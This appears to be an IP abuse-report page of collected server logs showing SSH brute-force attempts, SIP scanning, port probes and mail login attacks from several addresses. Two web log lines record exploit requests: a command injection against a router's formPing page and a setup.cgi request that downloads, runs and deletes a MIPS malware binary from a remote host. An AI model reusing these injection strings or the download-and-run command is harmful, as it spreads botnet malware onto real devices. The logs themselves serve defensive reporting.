Jun  6 01:44:27 server2 sshd\[9156\]: User root from 37.49.226.129 not allowed because not listed in AllowUsers
Jun  6 01:44:50 server2 sshd\[9164\]: User root from 37.49.226.129 not allowed because not listed in AllowUsers
Jun  6 01:45:13 server2 sshd\[9356\]: User root from 37.49.226.129 not allowed because not listed in AllowUsers
Jun  6 01:45:31 server2 sshd\[9363\]: Invalid user admin from 37.49.226.129
Jun  6 01:45:48 server2 sshd\[9379\]: Invalid user admin from 37.49.226.129
Jun  6 01:46:05 server2 sshd\[9406\]: Invalid user ubuntu from 37.49.226.129

Jun  5 18:10:19 OPSO sshd\[6693\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129  user=root
Jun  5 18:10:22 OPSO sshd\[6693\]: Failed password for root from 37.49.226.129 port 37770 ssh2
Jun  5 18:10:37 OPSO sshd\[6767\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129  user=root
Jun  5 18:10:39 OPSO sshd\[6767\]: Failed password for root from 37.49.226.129 port 50314 ssh2
Jun  5 18:10:54 OPSO sshd\[6774\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129  user=root

[MK-Root1] SSH login failed

2020-05-31T21:30:38.589688lavrinenko.info sshd[3722]: Failed password for root from 37.49.226.129 port 33240 ssh2
2020-05-31T21:30:58.798051lavrinenko.info sshd[3733]: Invalid user admin from 37.49.226.129 port 43942
2020-05-31T21:30:58.806760lavrinenko.info sshd[3733]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129
2020-05-31T21:30:58.798051lavrinenko.info sshd[3733]: Invalid user admin from 37.49.226.129 port 43942
2020-05-31T21:31:00.593186lavrinenko.info sshd[3733]: Failed password for invalid user admin from 37.49.226.129 port 43942 ssh2
...

May 28 15:30:08 debian sshd[3699]: Unable to negotiate with 37.49.226.129 port 55334: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
May 28 15:30:30 debian sshd[3710]: Unable to negotiate with 37.49.226.129 port 38820: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
...

k+ssh-bruteforce

 TCP (SYN) 37.49.226.129:40137 -> port 22, len 48

Brute-Force,SSH

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Sending SPAM email

ET CINS Active Threat Intelligence Poor Reputation IP group 91 - port: 13303 proto: TCP cat: Misc Attack

Nov  3 15:29:42 serwer sshd\[28880\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.58.180  user=admin
Nov  3 15:29:45 serwer sshd\[28880\]: Failed password for admin from 129.204.58.180 port 59181 ssh2
Nov  3 15:35:03 serwer sshd\[29515\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.58.180  user=root
...

Fail2Ban Ban Triggered

SSH Bruteforce attempt

Nov  3 18:19:15 MK-Soft-VM5 sshd[5306]: Failed password for root from 222.186.173.183 port 54454 ssh2
Nov  3 18:19:21 MK-Soft-VM5 sshd[5306]: Failed password for root from 222.186.173.183 port 54454 ssh2
...

Nov  3 19:23:07 server sshd\[31288\]: Invalid user tiger from 129.28.191.55
Nov  3 19:23:07 server sshd\[31288\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.28.191.55 
Nov  3 19:23:09 server sshd\[31288\]: Failed password for invalid user tiger from 129.28.191.55 port 57660 ssh2
Nov  3 19:35:36 server sshd\[2469\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.28.191.55  user=root
Nov  3 19:35:38 server sshd\[2469\]: Failed password for root from 129.28.191.55 port 41032 ssh2
...

Nov  3 18:30:37 SilenceServices sshd[17275]: Failed password for root from 222.186.190.2 port 38078 ssh2
Nov  3 18:30:40 SilenceServices sshd[17275]: Failed password for root from 222.186.190.2 port 38078 ssh2
Nov  3 18:30:45 SilenceServices sshd[17275]: Failed password for root from 222.186.190.2 port 38078 ssh2
Nov  3 18:30:49 SilenceServices sshd[17275]: Failed password for root from 222.186.190.2 port 38078 ssh2

2019-11-03T17:30:16.591569shield sshd\[30379\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.88.112.71  user=root
2019-11-03T17:30:16.991737shield sshd\[30387\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.88.112.71  user=root
2019-11-03T17:30:18.202521shield sshd\[30379\]: Failed password for root from 49.88.112.71 port 24434 ssh2
2019-11-03T17:30:18.602544shield sshd\[30387\]: Failed password for root from 49.88.112.71 port 49584 ssh2
2019-11-03T17:30:20.364333shield sshd\[30379\]: Failed password for root from 49.88.112.71 port 24434 ssh2

Nov  3 07:19:46 sachi sshd\[12751\]: Invalid user \#EDC@WSX!QAZ from 200.11.240.237
Nov  3 07:19:46 sachi sshd\[12751\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=200.11.240.237
Nov  3 07:19:48 sachi sshd\[12751\]: Failed password for invalid user \#EDC@WSX!QAZ from 200.11.240.237 port 41616 ssh2
Nov  3 07:24:11 sachi sshd\[13067\]: Invalid user 1@3\$5\^7\* from 200.11.240.237
Nov  3 07:24:11 sachi sshd\[13067\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=200.11.240.237

Unauthorised access (Nov  3) SRC=103.209.52.46 LEN=52 TTL=117 ID=16614 DF TCP DPT=445 WINDOW=8192 SYN

SASL Brute Force

2019-11-03T17:48:02.019986mail01 postfix/smtpd[3269]: warning: unknown[46.38.144.179]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
2019-11-03T17:48:45.058053mail01 postfix/smtpd[3269]: warning: unknown[46.38.144.179]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
2019-11-03T17:48:53.308467mail01 postfix/smtpd[21779]: warning: unknown[46.38.144.179]: SASL LOGIN authentication failed: UGFzc3dvcmQ6

C1,WP GET /suche/wp-login.php

Nov  3 15:02:27 hcbbdb sshd\[27083\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.71.56.82  user=root
Nov  3 15:02:30 hcbbdb sshd\[27083\]: Failed password for root from 167.71.56.82 port 36904 ssh2
Nov  3 15:06:36 hcbbdb sshd\[27503\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.71.56.82  user=root
Nov  3 15:06:38 hcbbdb sshd\[27503\]: Failed password for root from 167.71.56.82 port 47356 ssh2
Nov  3 15:10:52 hcbbdb sshd\[27912\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.71.56.82  user=root